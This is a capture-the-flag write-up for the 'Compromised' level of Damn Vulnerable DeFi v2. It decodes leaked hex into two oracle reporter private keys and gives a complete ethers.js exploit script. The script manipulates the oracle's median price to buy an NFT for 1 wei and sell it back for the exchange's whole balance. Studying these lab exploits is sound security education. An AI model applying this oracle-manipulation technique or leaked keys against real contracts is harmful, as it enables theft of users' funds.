07.Compromised
2023-06-23 20:22:08 # 05.Damn Vulnerable DeFi v2 CTF

Compromised

analyse

While poking around a web service of one of the most popular DeFi projects in the space, you get a somewhat strange response from their server. Here’s a snippet:

1
2
3
4
5
6
7
8
9
HTTP/2 200 OK
content-type: text/html
content-language: en
vary: Accept-Encoding
server: cloudflare

4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35

4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34

A related on-chain exchange is selling (absurdly overpriced) collectibles called “DVNFT”, now at 999 ETH each.

This price is fetched from an on-chain oracle, based on 3 trusted reporters: 0xA732...A105,0xe924...9D15 and 0x81A5...850c.

Starting with just 0.1 ETH in balance, pass the challenge by obtaining all ETH available in the exchange.

the whole analyse

  • Exchange:it is a NFT trading institution. we can buy and sell NFT from it. The price of NFT in this store is depended on the Oracle.

  • TrustfulOracle:This is an oracle contract. it will post the price of the NFT in the traing institution. Anyone could get the information from the oracle but only the trusted source and initializer can change the price of the NFT

  • TrustfulOracleInitializer:it is just an Initializing contract, not containing important content.

vulnerable analyse

This level is quite different from the levels we met before. When we completely studied the code, we have learned the whole logic of this topic. But we found that it is Impeccable: we need to buy a NFT but one NFT worths 999 ETH that we cant pay with enough money. From the code, one possible solution is to change the price to an very low price and buy it. All we can do is to call the function function postPrice().

1
2
3
4
5
6
7
8
function postPrice(string calldata symbol, uint256 newPrice) external onlyTrustedSource {
_setPrice(msg.sender, symbol, newPrice);
}

modifier onlyTrustedSource() {
require(hasRole(TRUSTED_SOURCE_ROLE, msg.sender));
_;
}

but only the trustedSource can call it. From the compromised.challenge.js we know that the sources is the three of them.

1
2
3
4
5
const sources = [
'0xA73209FB1a42495120166736362A1DfA9F95A105',
'0xe92401A4d3af5E446d93D11EEc806b1462b39D15',
'0x81A5D6E50C214044bE44cA0CB057fe119097850c'
];

Once finding their private key, we can control the oracle and change the price. By the way, we at least need 2 private keys to change the price since the function _sort(), _computeMedianPrice(), getMedianPrice(), We choose the median as the final price.

tips analyse

from the tips the level privides to us, we found it very strange. It is some numbers. What if they are substitutes for private keys? I mean they can be translated into private keys. In the internet, leakage events of private key often happents, they flow on the network as binary streams like this. In this tips, the form of the number is bytes, now we translate it into string(ASCII):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
decode

original data
4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35

4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34

####################################################################################################
bytes ====ASCII====> string
this is the site that it can help you translate:
https://onlinestringtools.com/convert-bytes-to-string
####################################################################################################

translated data
MHhjNjc4ZWYxYWE0NTZkYTY1YzZmYzU4NjFkNDQ4OTJjZGZhYzBjNmM4YzI1NjBiZjBjOWZiY2RhZTJmNDczNWE5

MHgyMDgyNDJjNDBhY2RmYTllZDg4OWU2ODVjMjM1NDdhY2JlZDliZWZjNjAzNzFlOTg3NWZiY2Q3MzYzNDBiYjQ4

This does not look like a private key, yet. We are looking for something that starts with 0x followed by 64 random hex characters. Although it does look like some encoded data. And what encoding would someone use to transfer (binary) data across networks? That has to be Base64. Passing it to a Base64 decoder we get :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
decode

original data
MHhjNjc4ZWYxYWE0NTZkYTY1YzZmYzU4NjFkNDQ4OTJjZGZhYzBjNmM4YzI1NjBiZjBjOWZiY2RhZTJmNDczNWE5

MHgyMDgyNDJjNDBhY2RmYTllZDg4OWU2ODVjMjM1NDdhY2JlZDliZWZjNjAzNzFlOTg3NWZiY2Q3MzYzNDBiYjQ4

####################################################################################################
string ====Base64====> string
this is the site that it can help you translate:
https://www.base64decode.org/
####################################################################################################

translated data
0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9

0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48

now we get two private keys! That means that we can change the price in the oracle contract.

change price and buy NFT

1.create wallet by private keys

1
2
3
//create wallet by private keys
const sources1 = new ethers.Wallet("0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9", ethers.provider);
const sources2 = new ethers.Wallet("0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48", ethers.provider);

2.set the price to 1 wei

1
2
3
//set the price to 1 wei
await this.oracle.connect(sources1).postPrice("DVNFT", 1);
await this.oracle.connect(sources2).postPrice("DVNFT", 1);

3.buy a NFT

1
2
//buy a NFT
await this.exchange.connect(attacker).buyOne({value:1});

4.change the price to the exchange contract’s balance so that exchange contract can sell it

1
2
3
4
//change the price to the exchange contract's balance so that exchange contract can sell it
_balance = ethers.provider.getBalance(this.exchange.address);
await this.oracle.connect(sources1).postPrice("DVNFT", _balance);
await this.oracle.connect(sources2).postPrice("DVNFT", _balance);

5.sell the NFT

1
2
3
//sell the NFT
await this.nftToken.connect(attacker).approve(this.exchange.address, 0);
await this.exchange.connect(attacker).sellOne(0);

6.restore the initial price

1
2
3
//restore the initial price
await this.oracle.connect(sources1).postPrice("DVNFT", INITIAL_NFT_PRICE);
await this.oracle.connect(sources2).postPrice("DVNFT", INITIAL_NFT_PRICE);

solution

  • test
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
it('Exploit', async function () {        
/** CODE YOUR EXPLOIT HERE */
//create wallet by private keys
const sources1 = new ethers.Wallet("0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9", ethers.provider);
const sources2 = new ethers.Wallet("0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48", ethers.provider);

//set the price to 1 wei
await this.oracle.connect(sources1).postPrice("DVNFT", 1);
await this.oracle.connect(sources2).postPrice("DVNFT", 1);

//buy a NFT
await this.exchange.connect(attacker).buyOne({value:1});

//change the price to the exchange contract's balance so that exchange contract can sell it
_balance = ethers.provider.getBalance(this.exchange.address);
await this.oracle.connect(sources1).postPrice("DVNFT", _balance);
await this.oracle.connect(sources2).postPrice("DVNFT", _balance);

//sell the NFT
await this.nftToken.connect(attacker).approve(this.exchange.address, 0);
await this.exchange.connect(attacker).sellOne(0);

//restore the initial price
await this.oracle.connect(sources1).postPrice("DVNFT", INITIAL_NFT_PRICE);
await this.oracle.connect(sources2).postPrice("DVNFT", INITIAL_NFT_PRICE);

});

Recommendations

Don’t store sensitive data onto any blockchain. Not even if it’s encoded. If someone can benefit from that information, it will be decoded for profit. Remember that one of the main aspects of the blockchains are that they intend to be transparent, meaning that all the information is public and reachable.

Also, never share your private keys or store them online. If you have to store them anywhere, try to do it on cold storage (something that is not connected to the internet) like a USB drive and keep it safe.

Here’s an article written by the highly reputable blockchain security company Consensys that presents some vulnerabilities and common pitfalls around oracles and price manipulation.